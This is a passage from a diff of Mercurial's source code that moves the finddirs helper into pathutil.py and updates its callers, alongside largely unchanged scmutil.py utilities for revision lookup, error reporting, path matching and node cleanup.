+        yield path[:pos]
+        pos = path.rfind(b'/', 0, pos)
+    yield b''
+
+
 class dirs(object):
     '''a multiset of directory names from a set of file paths'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if isinstance(map, dict) and skip is not None:
             for f, s in pycompat.iteritems(map):
                 if s[0] != skip:
                     addpath(f)
         elif skip is not None:
             raise error.ProgrammingError(
                 b"skip character is only supported with a dict source"
             )
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
-        for base in util.finddirs(path):
+        for base in finddirs(path):
             if base.endswith(b'/'):
                 raise ValueError(
                     "found invalid consecutive slashes in path: %r" % base
                 )
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
-        for base in util.finddirs(path):
+        for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 
 if util.safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 if rustdirs is not None:
     dirs = rustdirs
 
 
 # forward two methods from posixpath that do what we need, but we'd
 # rather not let our internals know that we're thinking in posix terms
 # - instead we'll let them be oblivious.
 join = posixpath.join
 dirname = posixpath.dirname

mercurial/scmutil.py

@@ -1,2221 +1,2221 b''
 # scmutil.py - Mercurial core utility functions
 #
 #  Copyright Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import glob
 import hashlib
 import os
 import posixpath
 import re
 import subprocess
 import weakref
 
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
     nullrev,
     short,
     wdirid,
     wdirrev,
 )
 from .pycompat import getattr
 
 from . import (
     copies as copiesmod,
     encoding,
     error,
     match as matchmod,
     obsolete,
     obsutil,
     pathutil,
     phases,
     policy,
     pycompat,
     revsetlang,
     similar,
     smartset,
     url,
     util,
     vfs,
 )
 
 from .utils import (
     procutil,
     stringutil,
 )
 
 if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
 
 parsers = policy.importmod('parsers')
 
 termsize = scmplatform.termsize
 
 
 class status(tuple):
     '''Named tuple with a list of files per status. The 'deleted', 'unknown'
        and 'ignored' properties are only relevant to the working copy.
     '''
 
     __slots__ = ()
 
     def __new__(
         cls, modified, added, removed, deleted, unknown, ignored, clean
     ):
         return tuple.__new__(
             cls, (modified, added, removed, deleted, unknown, ignored, clean)
         )
 
     @property
     def modified(self):
         '''files that have been modified'''
         return self[0]
 
     @property
     def added(self):
         '''files that have been added'''
         return self[1]
 
     @property
     def removed(self):
         '''files that have been removed'''
         return self[2]
 
     @property
     def deleted(self):
         '''files that are in the dirstate, but have been deleted from the
            working copy (aka "missing")
         '''
         return self[3]
 
     @property
     def unknown(self):
         '''files not in the dirstate that are not ignored'''
         return self[4]
 
     @property
     def ignored(self):
         '''files not in the dirstate that are ignored (by _dirignore())'''
         return self[5]
 
     @property
     def clean(self):
         '''files that have not been modified'''
         return self[6]
 
     def __repr__(self, *args, **kwargs):
         return (
             r'<status modified=%s, added=%s, removed=%s, deleted=%s, '
             r'unknown=%s, ignored=%s, clean=%s>'
         ) % tuple(pycompat.sysstr(stringutil.pprint(v)) for v in self)
 
 
 def itersubrepos(ctx1, ctx2):
     """find subrepos in ctx1 or ctx2"""
     # Create a (subpath, ctx) mapping where we prefer subpaths from
     # ctx1. The subpaths from ctx2 are important when the .hgsub file
     # has been modified (in ctx2) but not yet committed (in ctx1).
     subpaths = dict.fromkeys(ctx2.substate, ctx2)
     subpaths.update(dict.fromkeys(ctx1.substate, ctx1))
 
     missing = set()
 
     for subpath in ctx2.substate:
         if subpath not in ctx1.substate:
             del subpaths[subpath]
             missing.add(subpath)
 
     for subpath, ctx in sorted(pycompat.iteritems(subpaths)):
         yield subpath, ctx.sub(subpath)
 
     # Yield an empty subrepo based on ctx1 for anything only in ctx2.  That way,
     # status and diff will have an accurate result when it does
     # 'sub.{status|diff}(rev2)'.  Otherwise, the ctx2 subrepo is compared
     # against itself.
     for subpath in missing:
         yield subpath, ctx2.nullsub(subpath, ctx1)
 
 
 def nochangesfound(ui, repo, excluded=None):
     '''Report no changes for push/pull, excluded is None or a list of
     nodes excluded from the push/pull.
     '''
     secretlist = []
     if excluded:
         for n in excluded:
             ctx = repo[n]
             if ctx.phase() >= phases.secret and not ctx.extinct():
                 secretlist.append(n)
 
     if secretlist:
         ui.status(
             _(b"no changes found (ignored %d secret changesets)\n")
             % len(secretlist)
         )
     else:
         ui.status(_(b"no changes found\n"))
 
 
 def callcatch(ui, func):
     """call func() with global exception handling
 
     return func() if no exception happens. otherwise do some error handling
     and return an exit code accordingly. does not handle all exceptions.
     """
     try:
         try:
             return func()
         except:  # re-raises
             ui.traceback()
             raise
     # Global exception handling, alphabetically
     # Mercurial-specific first, followed by built-in and library exceptions
     except error.LockHeld as inst:
         if inst.errno == errno.ETIMEDOUT:
             reason = _(b'timed out waiting for lock held by %r') % (
                 pycompat.bytestr(inst.locker)
             )
         else:
             reason = _(b'lock held by %r') % inst.locker
         ui.error(
             _(b"abort: %s: %s\n")
             % (inst.desc or stringutil.forcebytestr(inst.filename), reason)
         )
         if not inst.locker:
             ui.error(_(b"(lock might be very busy)\n"))
     except error.LockUnavailable as inst:
         ui.error(
             _(b"abort: could not lock %s: %s\n")
             % (
                 inst.desc or stringutil.forcebytestr(inst.filename),
                 encoding.strtolocal(inst.strerror),
             )
         )
     except error.OutOfBandError as inst:
         if inst.args:
             msg = _(b"abort: remote error:\n")
         else:
             msg = _(b"abort: remote error\n")
         ui.error(msg)
         if inst.args:
             ui.error(b''.join(inst.args))
         if inst.hint:
             ui.error(b'(%s)\n' % inst.hint)
     except error.RepoError as inst:
         ui.error(_(b"abort: %s!\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except error.ResponseError as inst:
         ui.error(_(b"abort: %s") % inst.args[0])
         msg = inst.args[1]
         if isinstance(msg, type(u'')):
             msg = pycompat.sysbytes(msg)
         if not isinstance(msg, bytes):
             ui.error(b" %r\n" % (msg,))
         elif not msg:
             ui.error(_(b" empty string\n"))
         else:
             ui.error(b"\n%r\n" % pycompat.bytestr(stringutil.ellipsis(msg)))
     except error.CensoredNodeError as inst:
         ui.error(_(b"abort: file censored %s!\n") % inst)
     except error.StorageError as inst:
         ui.error(_(b"abort: %s!\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except error.InterventionRequired as inst:
         ui.error(b"%s\n" % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
         return 1
     except error.WdirUnsupported:
         ui.error(_(b"abort: working directory revision cannot be specified\n"))
     except error.Abort as inst:
         ui.error(_(b"abort: %s\n") % inst)
         if inst.hint:
             ui.error(_(b"(%s)\n") % inst.hint)
     except ImportError as inst:
         ui.error(_(b"abort: %s!\n") % stringutil.forcebytestr(inst))
         m = stringutil.forcebytestr(inst).split()[-1]
         if m in b"mpatch bdiff".split():
             ui.error(_(b"(did you forget to compile extensions?)\n"))
         elif m in b"zlib".split():
             ui.error(_(b"(is your Python install correct?)\n"))
     except (IOError, OSError) as inst:
         if util.safehasattr(inst, b"code"):  # HTTPError
             ui.error(_(b"abort: %s\n") % stringutil.forcebytestr(inst))
         elif util.safehasattr(inst, b"reason"):  # URLError or SSLError
             try:  # usually it is in the form (errno, strerror)
                 reason = inst.reason.args[1]
             except (AttributeError, IndexError):
                 # it might be anything, for example a string
                 reason = inst.reason
             if isinstance(reason, pycompat.unicode):
                 # SSLError of Python 2.7.9 contains a unicode
                 reason = encoding.unitolocal(reason)
             ui.error(_(b"abort: error: %s\n") % reason)
         elif (
             util.safehasattr(inst, b"args")
             and inst.args
             and inst.args[0] == errno.EPIPE
         ):
             pass
         elif getattr(inst, "strerror", None):  # common IOError or OSError
             if getattr(inst, "filename", None) is not None:
                 ui.error(
                     _(b"abort: %s: '%s'\n")
                     % (
                         encoding.strtolocal(inst.strerror),
                         stringutil.forcebytestr(inst.filename),
                     )
                 )
             else:
                 ui.error(_(b"abort: %s\n") % encoding.strtolocal(inst.strerror))
         else:  # suspicious IOError
             raise
     except MemoryError:
         ui.error(_(b"abort: out of memory\n"))
     except SystemExit as inst:
         # Commands shouldn't sys.exit directly, but give a return code.
         # Just in case catch this and and pass exit code to caller.
         return inst.code
 
     return -1
 
 
 def checknewlabel(repo, lbl, kind):
     # Do not use the "kind" parameter in ui output.
     # It makes strings difficult to translate.
     if lbl in [b'tip', b'.', b'null']:
         raise error.Abort(_(b"the name '%s' is reserved") % lbl)
     for c in (b':', b'\0', b'\n', b'\r'):
         if c in lbl:
             raise error.Abort(
                 _(b"%r cannot be used in a name") % pycompat.bytestr(c)
             )
     try:
         int(lbl)
         raise error.Abort(_(b"cannot use an integer as a name"))
     except ValueError:
         pass
     if lbl.strip() != lbl:
         raise error.Abort(_(b"leading or trailing whitespace in name %r") % lbl)
 
 
 def checkfilename(f):
     '''Check that the filename f is an acceptable filename for a tracked file'''
     if b'\r' in f or b'\n' in f:
         raise error.Abort(
             _(b"'\\n' and '\\r' disallowed in filenames: %r")
             % pycompat.bytestr(f)
         )
 
 
 def checkportable(ui, f):
     '''Check if filename f is portable and warn or abort depending on config'''
     checkfilename(f)
     abort, warn = checkportabilityalert(ui)
     if abort or warn:
         msg = util.checkwinfilename(f)
         if msg:
             msg = b"%s: %s" % (msg, procutil.shellquote(f))
             if abort:
                 raise error.Abort(msg)
             ui.warn(_(b"warning: %s\n") % msg)
 
 
 def checkportabilityalert(ui):
     '''check if the user's config requests nothing, a warning, or abort for
     non-portable filenames'''
     val = ui.config(b'ui', b'portablefilenames')
     lval = val.lower()
     bval = stringutil.parsebool(val)
     abort = pycompat.iswindows or lval == b'abort'
     warn = bval or lval == b'warn'
     if bval is None and not (warn or abort or lval == b'ignore'):
         raise error.ConfigError(
             _(b"ui.portablefilenames value is invalid ('%s')") % val
         )
     return abort, warn
 
 
 class casecollisionauditor(object):
     def __init__(self, ui, abort, dirstate):
         self._ui = ui
         self._abort = abort
         allfiles = b'\0'.join(dirstate)
         self._loweredfiles = set(encoding.lower(allfiles).split(b'\0'))
         self._dirstate = dirstate
         # The purpose of _newfiles is so that we don't complain about
         # case collisions if someone were to call this object with the
         # same filename twice.
         self._newfiles = set()
 
     def __call__(self, f):
         if f in self._newfiles:
             return
         fl = encoding.lower(f)
         if fl in self._loweredfiles and f not in self._dirstate:
             msg = _(b'possible case-folding collision for %s') % f
             if self._abort:
                 raise error.Abort(msg)
             self._ui.warn(_(b"warning: %s\n") % msg)
         self._loweredfiles.add(fl)
         self._newfiles.add(f)
 
 
 def filteredhash(repo, maxrev):
     """build hash of filtered revisions in the current repoview.
 
     Multiple caches perform up-to-date validation by checking that the
     tiprev and tipnode stored in the cache file match the current repository.
     However, this is not sufficient for validating repoviews because the set
     of revisions in the view may change without the repository tiprev and
     tipnode changing.
 
     This function hashes all the revs filtered from the view and returns
     that SHA-1 digest.
     """
     cl = repo.changelog
     if not cl.filteredrevs:
         return None
     key = None
     revs = sorted(r for r in cl.filteredrevs if r <= maxrev)
     if revs:
         s = hashlib.sha1()
         for rev in revs:
             s.update(b'%d;' % rev)
         key = s.digest()
     return key
 
 
 def walkrepos(path, followsym=False, seen_dirs=None, recurse=False):
     '''yield every hg repository under path, always recursively.
     The recurse flag will only control recursion into repo working dirs'''
 
     def errhandler(err):
         if err.filename == path:
             raise err
 
     samestat = getattr(os.path, 'samestat', None)
     if followsym and samestat is not None:
 
         def adddir(dirlst, dirname):
             dirstat = os.stat(dirname)
             match = any(samestat(dirstat, lstdirstat) for lstdirstat in dirlst)
             if not match:
                 dirlst.append(dirstat)
             return not match
 
     else:
         followsym = False
 
     if (seen_dirs is None) and followsym:
         seen_dirs = []
         adddir(seen_dirs, path)
     for root, dirs, files in os.walk(path, topdown=True, onerror=errhandler):
         dirs.sort()
         if b'.hg' in dirs:
             yield root  # found a repository
             qroot = os.path.join(root, b'.hg', b'patches')
             if os.path.isdir(os.path.join(qroot, b'.hg')):
                 yield qroot  # we have a patch queue repo here
             if recurse:
                 # avoid recursing inside the .hg directory
                 dirs.remove(b'.hg')
             else:
                 dirs[:] = []  # don't descend further
         elif followsym:
             newdirs = []
             for d in dirs:
                 fname = os.path.join(root, d)
                 if adddir(seen_dirs, fname):
                     if os.path.islink(fname):
                         for hgname in walkrepos(fname, True, seen_dirs):
                             yield hgname
                     else:
                         newdirs.append(d)
             dirs[:] = newdirs
 
 
 def binnode(ctx):
     """Return binary node id for a given basectx"""
     node = ctx.node()
     if node is None:
         return wdirid
     return node
 
 
 def intrev(ctx):
     """Return integer for a given basectx that can be used in comparison or
     arithmetic operation"""
     rev = ctx.rev()
     if rev is None:
         return wdirrev
     return rev
 
 
 def formatchangeid(ctx):
     """Format changectx as '{rev}:{node|formatnode}', which is the default
     template provided by logcmdutil.changesettemplater"""
     repo = ctx.repo()
     return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
 
 
 def formatrevnode(ui, rev, node):
     """Format given revision and node depending on the current verbosity"""
     if ui.debugflag:
         hexfunc = hex
     else:
         hexfunc = short
     return b'%d:%s' % (rev, hexfunc(node))
 
 
 def resolvehexnodeidprefix(repo, prefix):
     if prefix.startswith(b'x') and repo.ui.configbool(
         b'experimental', b'revisions.prefixhexnode'
     ):
         prefix = prefix[1:]
     try:
         # Uses unfiltered repo because it's faster when prefix is ambiguous/
         # This matches the shortesthexnodeidprefix() function below.
         node = repo.unfiltered().changelog._partialmatch(prefix)
     except error.AmbiguousPrefixLookupError:
         revset = repo.ui.config(
             b'experimental', b'revisions.disambiguatewithin'
         )
         if revset:
             # Clear config to avoid infinite recursion
             configoverrides = {
                 (b'experimental', b'revisions.disambiguatewithin'): None
             }
             with repo.ui.configoverride(configoverrides):
                 revs = repo.anyrevs([revset], user=True)
                 matches = []
                 for rev in revs:
                     node = repo.changelog.node(rev)
                     if hex(node).startswith(prefix):
                         matches.append(node)
                 if len(matches) == 1:
                     return matches[0]
         raise
     if node is None:
         return
     repo.changelog.rev(node)  # make sure node isn't filtered
     return node
 
 
 def mayberevnum(repo, prefix):
     """Checks if the given prefix may be mistaken for a revision number"""
     try:
         i = int(prefix)
         # if we are a pure int, then starting with zero will not be
         # confused as a rev; or, obviously, if the int is larger
         # than the value of the tip rev. We still need to disambiguate if
         # prefix == '0', since that *is* a valid revnum.
         if (prefix != b'0' and prefix[0:1] == b'0') or i >= len(repo):
             return False
         return True
     except ValueError:
         return False
 
 
 def shortesthexnodeidprefix(repo, node, minlength=1, cache=None):
     """Find the shortest unambiguous prefix that matches hexnode.
 
     If "cache" is not None, it must be a dictionary that can be used for
     caching between calls to this method.
     """
     # _partialmatch() of filtered changelog could take O(len(repo)) time,
     # which would be unacceptably slow. so we look for hash collision in
     # unfiltered space, which means some hashes may be slightly longer.
 
     minlength = max(minlength, 1)
 
     def disambiguate(prefix):
         """Disambiguate against revnums."""
         if repo.ui.configbool(b'experimental', b'revisions.prefixhexnode'):
             if mayberevnum(repo, prefix):
                 return b'x' + prefix
             else:
                 return prefix
 
         hexnode = hex(node)
         for length in range(len(prefix), len(hexnode) + 1):
             prefix = hexnode[:length]
             if not mayberevnum(repo, prefix):
                 return prefix
 
     cl = repo.unfiltered().changelog
     revset = repo.ui.config(b'experimental', b'revisions.disambiguatewithin')
     if revset:
         revs = None
         if cache is not None:
             revs = cache.get(b'disambiguationrevset')
         if revs is None:
             revs = repo.anyrevs([revset], user=True)
             if cache is not None:
                 cache[b'disambiguationrevset'] = revs
         if cl.rev(node) in revs:
             hexnode = hex(node)
             nodetree = None
             if cache is not None:
                 nodetree = cache.get(b'disambiguationnodetree')
             if not nodetree:
                 try:
                     nodetree = parsers.nodetree(cl.index, len(revs))
                 except AttributeError:
                     # no native nodetree
                     pass
                 else:
                     for r in revs:
                         nodetree.insert(r)
                     if cache is not None:
                         cache[b'disambiguationnodetree'] = nodetree
             if nodetree is not None:
                 length = max(nodetree.shortest(node), minlength)
                 prefix = hexnode[:length]
                 return disambiguate(prefix)
             for length in range(minlength, len(hexnode) + 1):
                 matches = []
                 prefix = hexnode[:length]
                 for rev in revs:
                     otherhexnode = repo[rev].hex()
                     if prefix == otherhexnode[:length]:
                         matches.append(otherhexnode)
                 if len(matches) == 1:
                     return disambiguate(prefix)
 
     try:
         return disambiguate(cl.shortest(node, minlength))
     except error.LookupError:
         raise error.RepoLookupError()
 
 
 def isrevsymbol(repo, symbol):
     """Checks if a symbol exists in the repo.
 
     See revsymbol() for details. Raises error.AmbiguousPrefixLookupError if the
     symbol is an ambiguous nodeid prefix.
     """
     try:
         revsymbol(repo, symbol)
         return True
     except error.RepoLookupError:
         return False
 
 
 def revsymbol(repo, symbol):
     """Returns a context given a single revision symbol (as string).
 
     This is similar to revsingle(), but accepts only a single revision symbol,
     i.e. things like ".", "tip", "1234", "deadbeef", "my-bookmark" work, but
     not "max(public())".
     """
     if not isinstance(symbol, bytes):
         msg = (
             b"symbol (%s of type %s) was not a string, did you mean "
             b"repo[symbol]?" % (symbol, type(symbol))
         )
         raise error.ProgrammingError(msg)
     try:
         if symbol in (b'.', b'tip', b'null'):
             return repo[symbol]
 
         try:
             r = int(symbol)
             if b'%d' % r != symbol:
                 raise ValueError
             l = len(repo.changelog)
             if r < 0:
                 r += l
             if r < 0 or r >= l and r != wdirrev:
                 raise ValueError
             return repo[r]
         except error.FilteredIndexError:
             raise
         except (ValueError, OverflowError, IndexError):
             pass
 
         if len(symbol) == 40:
             try:
                 node = bin(symbol)
                 rev = repo.changelog.rev(node)
                 return repo[rev]
             except error.FilteredLookupError:
                 raise
             except (TypeError, LookupError):
                 pass
 
         # look up bookmarks through the name interface
         try:
             node = repo.names.singlenode(repo, symbol)
             rev = repo.changelog.rev(node)
             return repo[rev]
         except KeyError:
             pass
 
         node = resolvehexnodeidprefix(repo, symbol)
         if node is not None:
             rev = repo.changelog.rev(node)
             return repo[rev]
 
         raise error.RepoLookupError(_(b"unknown revision '%s'") % symbol)
 
     except error.WdirUnsupported:
         return repo[None]
     except (
         error.FilteredIndexError,
         error.FilteredLookupError,
         error.FilteredRepoLookupError,
     ):
         raise _filterederror(repo, symbol)
 
 
 def _filterederror(repo, changeid):
     """build an exception to be raised about a filtered changeid
 
     This is extracted in a function to help extensions (eg: evolve) to
     experiment with various message variants."""
     if repo.filtername.startswith(b'visible'):
 
         # Check if the changeset is obsolete
         unfilteredrepo = repo.unfiltered()
         ctx = revsymbol(unfilteredrepo, changeid)
 
         # If the changeset is obsolete, enrich the message with the reason
         # that made this changeset not visible
         if ctx.obsolete():
             msg = obsutil._getfilteredreason(repo, changeid, ctx)
         else:
             msg = _(b"hidden revision '%s'") % changeid
 
         hint = _(b'use --hidden to access hidden revisions')
 
         return error.FilteredRepoLookupError(msg, hint=hint)
     msg = _(b"filtered revision '%s' (not in '%s' subset)")
     msg %= (changeid, repo.filtername)
     return error.FilteredRepoLookupError(msg)
 
 
 def revsingle(repo, revspec, default=b'.', localalias=None):
     if not revspec and revspec != 0:
         return repo[default]
 
     l = revrange(repo, [revspec], localalias=localalias)
     if not l:
         raise error.Abort(_(b'empty revision set'))
     return repo[l.last()]
 
 
 def _pairspec(revspec):
     tree = revsetlang.parse(revspec)
     return tree and tree[0] in (
         b'range',
         b'rangepre',
         b'rangepost',
         b'rangeall',
     )
 
 
 def revpair(repo, revs):
     if not revs:
         return repo[b'.'], repo[None]
 
     l = revrange(repo, revs)
 
     if not l:
         raise error.Abort(_(b'empty revision range'))
 
     first = l.first()
     second = l.last()
 
     if (
         first == second
         and len(revs) >= 2
         and not all(revrange(repo, [r]) for r in revs)
     ):
         raise error.Abort(_(b'empty revision on one side of range'))
 
     # if top-level is range expression, the result must always be a pair
     if first == second and len(revs) == 1 and not _pairspec(revs[0]):
         return repo[first], repo[None]
 
     return repo[first], repo[second]
 
 
 def revrange(repo, specs, localalias=None):
     """Execute 1 to many revsets and return the union.
 
     This is the preferred mechanism for executing revsets using user-specified
     config options, such as revset aliases.
 
     The revsets specified by ``specs`` will be executed via a chained ``OR``
     expression. If ``specs`` is empty, an empty result is returned.
 
     ``specs`` can contain integers, in which case they are assumed to be
     revision numbers.
 
     It is assumed the revsets are already formatted. If you have arguments
     that need to be expanded in the revset, call ``revsetlang.formatspec()``
     and pass the result as an element of ``specs``.
 
     Specifying a single revset is allowed.
 
     Returns a ``revset.abstractsmartset`` which is a list-like interface over
     integer revisions.
     """
     allspecs = []
     for spec in specs:
         if isinstance(spec, int):
             spec = revsetlang.formatspec(b'%d', spec)
         allspecs.append(spec)
     return repo.anyrevs(allspecs, user=True, localalias=localalias)
 
 
 def meaningfulparents(repo, ctx):
     """Return list of meaningful (or all if debug) parentrevs for rev.
 
     For merges (two non-nullrev revisions) both parents are meaningful.
     Otherwise the first parent revision is considered meaningful if it
     is not the preceding revision.
     """
     parents = ctx.parents()
     if len(parents) > 1:
         return parents
     if repo.ui.debugflag:
         return [parents[0], repo[nullrev]]
     if parents[0].rev() >= intrev(ctx) - 1:
         return []
     return parents
 
 
 def getuipathfn(repo, legacyrelativevalue=False, forcerelativevalue=None):
     """Return a function that produced paths for presenting to the user.
 
     The returned function takes a repo-relative path and produces a path
     that can be presented in the UI.
 
     Depending on the value of ui.relative-paths, either a repo-relative or
     cwd-relative path will be produced.
 
     legacyrelativevalue is the value to use if ui.relative-paths=legacy
 
     If forcerelativevalue is not None, then that value will be used regardless
     of what ui.relative-paths is set to.
     """
     if forcerelativevalue is not None:
         relative = forcerelativevalue
     else:
         config = repo.ui.config(b'ui', b'relative-paths')
         if config == b'legacy':
             relative = legacyrelativevalue
         else:
             relative = stringutil.parsebool(config)
             if relative is None:
                 raise error.ConfigError(
                     _(b"ui.relative-paths is not a boolean ('%s')") % config
                 )
 
     if relative:
         cwd = repo.getcwd()
         pathto = repo.pathto
         return lambda f: pathto(f, cwd)
     elif repo.ui.configbool(b'ui', b'slash'):
         return lambda f: f
     else:
         return util.localpath
 
 
 def subdiruipathfn(subpath, uipathfn):
     '''Create a new uipathfn that treats the file as relative to subpath.'''
     return lambda f: uipathfn(posixpath.join(subpath, f))
 
 
 def anypats(pats, opts):
     '''Checks if any patterns, including --include and --exclude were given.
 
     Some commands (e.g. addremove) use this condition for deciding whether to
     print absolute or relative paths.
     '''
     return bool(pats or opts.get(b'include') or opts.get(b'exclude'))
 
 
 def expandpats(pats):
     '''Expand bare globs when running on windows.
     On posix we assume it already has already been done by sh.'''
     if not util.expandglobs:
         return list(pats)
     ret = []
     for kindpat in pats:
         kind, pat = matchmod._patsplit(kindpat, None)
         if kind is None:
             try:
                 globbed = glob.glob(pat)
             except re.error:
                 globbed = [pat]
             if globbed:
                 ret.extend(globbed)
                 continue
         ret.append(kindpat)
     return ret
 
 
 def matchandpats(
     ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
 ):
     '''Return a matcher and the patterns that were used.
     The matcher will warn about bad matches, unless an alternate badfn callback
     is provided.'''
     if opts is None:
         opts = {}
     if not globbed and default == b'relpath':
         pats = expandpats(pats or [])
 
     uipathfn = getuipathfn(ctx.repo(), legacyrelativevalue=True)
 
     def bad(f, msg):
         ctx.repo().ui.warn(b"%s: %s\n" % (uipathfn(f), msg))
 
     if badfn is None:
         badfn = bad
 
     m = ctx.match(
         pats,
         opts.get(b'include'),
         opts.get(b'exclude'),
         default,
         listsubrepos=opts.get(b'subrepos'),
         badfn=badfn,
     )
 
     if m.always():
         pats = []
     return m, pats
 
 
 def match(
     ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
 ):
     '''Return a matcher that will warn about bad matches.'''
     return matchandpats(ctx, pats, opts, globbed, default, badfn=badfn)[0]
 
 
 def matchall(repo):
     '''Return a matcher that will efficiently match everything.'''
     return matchmod.always()
 
 
 def matchfiles(repo, files, badfn=None):
     '''Return a matcher that will efficiently match exactly these files.'''
     return matchmod.exact(files, badfn=badfn)
 
 
 def parsefollowlinespattern(repo, rev, pat, msg):
     """Return a file name from `pat` pattern suitable for usage in followlines
     logic.
     """
     if not matchmod.patkind(pat):
         return pathutil.canonpath(repo.root, repo.getcwd(), pat)
     else:
         ctx = repo[rev]
         m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
         files = [f for f in ctx if m(f)]
         if len(files) != 1:
             raise error.ParseError(msg)
         return files[0]
 
 
 def getorigvfs(ui, repo):
     """return a vfs suitable to save 'orig' file
 
     return None if no special directory is configured"""
     origbackuppath = ui.config(b'ui', b'origbackuppath')
     if not origbackuppath:
         return None
     return vfs.vfs(repo.wvfs.join(origbackuppath))
 
 
 def backuppath(ui, repo, filepath):
     '''customize where working copy backup files (.orig files) are created
 
     Fetch user defined path from config file: [ui] origbackuppath = <path>
     Fall back to default (filepath with .orig suffix) if not specified
 
     filepath is repo-relative
 
     Returns an absolute path
     '''
     origvfs = getorigvfs(ui, repo)
     if origvfs is None:
         return repo.wjoin(filepath + b".orig")
 
     origbackupdir = origvfs.dirname(filepath)
     if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
         ui.note(_(b'creating directory: %s\n') % origvfs.join(origbackupdir))
 
         # Remove any files that conflict with the backup file's path
-        for f in reversed(list(util.finddirs(filepath))):
+        for f in reversed(list(pathutil.finddirs(filepath))):
             if origvfs.isfileorlink(f):
                 ui.note(_(b'removing conflicting file: %s\n') % origvfs.join(f))
                 origvfs.unlink(f)
                 break
 
         origvfs.makedirs(origbackupdir)
 
     if origvfs.isdir(filepath) and not origvfs.islink(filepath):
         ui.note(
             _(b'removing conflicting directory: %s\n') % origvfs.join(filepath)
         )
         origvfs.rmtree(filepath, forcibly=True)
 
     return origvfs.join(filepath)
 
 
 class _containsnode(object):
     """proxy __contains__(node) to container.__contains__ which accepts revs"""
 
     def __init__(self, repo, revcontainer):
         self._torev = repo.changelog.rev
         self._revcontains = revcontainer.__contains__
 
     def __contains__(self, node):
         return self._revcontains(self._torev(node))
 
 
 def cleanupnodes(
     repo,
     replacements,
     operation,
     moves=None,
     metadata=None,
     fixphase=False,
     targetphase=None,
     backup=True,
 ):
     """do common cleanups when old nodes are replaced by new nodes
 
     That includes writing obsmarkers or stripping nodes, and moving bookmarks.
     (we might also want to move working directory parent in the future)
 
     By default, bookmark moves are calculated automatically from 'replacements',
     but 'moves' can be used to override that. Also, 'moves' may include
     additional bookmark moves that should not have associated obsmarkers.
 
     replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
     have replacements. operation is a string, like "rebase".
 
     metadata is dictionary containing metadata to be stored in obsmarker if
     obsolescence is enabled.
     """
     assert fixphase or targetphase is None
     if not replacements and not moves:
         return
 
     # translate mapping's other forms
     if not util.safehasattr(replacements, b'items'):
         replacements = {(n,): () for n in replacements}
     else:
         # upgrading non tuple "source" to tuple ones for BC
         repls = {}
         for key, value in replacements.items():
             if not isinstance(key, tuple):
                 key = (key,)
             repls[key] = value
         replacements = repls
 
     # Unfiltered repo is needed since nodes in replacements might be hidden.
     unfi = repo.unfiltered()
 
     # Calculate bookmark movements
     if moves is None:
         moves = {}
         for oldnodes, newnodes in replacements.items():
             for oldnode in oldnodes:
                 if oldnode in moves:
                     continue
                 if len(newnodes) > 1:
                     # usually a split, take the one with biggest rev number
                     newnode = next(unfi.set(b'max(%ln)', newnodes)).node()
                 elif len(newnodes) == 0:
                     # move bookmark backwards
                     allreplaced = []
                     for rep in replacements:
                         allreplaced.extend(rep)
                     roots = list(
                         unfi.set(b'max((::%n) - %ln)', oldnode, allreplaced)
                     )
                     if roots:
                         newnode = roots[0].node()
                     else:
                         newnode = nullid
                 else:
                     newnode = newnodes[0]
                 moves[oldnode] = newnode
 
     allnewnodes = [n for ns in replacements.values() for n in ns]
     toretract = {}
     toadvance = {}
     if fixphase:
         precursors = {}
         for oldnodes, newnodes in replacements.items():
             for oldnode in oldnodes:
                 for newnode in newnodes:
                     precursors.setdefault(newnode, []).append(oldnode)
 
         allnewnodes.sort(key=lambda n: unfi[n].rev())
         newphases = {}
 
         def phase(ctx):
             return newphases.get(ctx.node(), ctx.phase())
 
         for newnode in allnewnodes:
             ctx = unfi[newnode]
             parentphase = max(phase(p) for p in ctx.parents())
             if targetphase is None:
                 oldphase = max(
                     unfi[oldnode].phase() for oldnode in precursors[newnode]
                 )
                 newphase = max(oldphase, parentphase)
             else:
                 newphase = max(targetphase, parentphase)
             newphases[newnode] = newphase
             if newphase > ctx.phase():
                 toretract.setdefault(newphase, []).append(newnode)
             elif newphase < ctx.phase():
                 toadvance.setdefault(newphase, []).append(newnode)
 
     with repo.transaction(b'cleanup') as tr:
         # Move bookmarks
         bmarks = repo._bookmarks
         bmarkchanges = []
         for oldnode, newnode in moves.items():
             oldbmarks = repo.nodebookmarks(oldnode)
             if not oldbmarks:
                 continue
             from . import bookmarks  # avoid import cycle
 
             repo.ui.debug(
                 b'moving bookmarks %r from %s to %s\n'
                 % (
                     pycompat.rapply(pycompat.maybebytestr, oldbmarks),
                     hex(oldnode),
                     hex(newnode),
                 )
             )
             # Delete divergent bookmarks being parents of related newnodes
             deleterevs = repo.revs(
                 b'parents(roots(%ln & (::%n))) - parents(%n)',
                 allnewnodes,
                 newnode,
                 oldnode,
             )
             deletenodes = _containsnode(repo, deleterevs)
             for name in oldbmarks:
                 bmarkchanges.append((name, newnode))
                 for b in bookmarks.divergent2delete(repo, deletenodes, name):
                     bmarkchanges.append((b, None))
 
         if bmarkchanges:
             bmarks.applychanges(repo, tr, bmarkchanges)
 
         for phase, nodes in toretract.items():
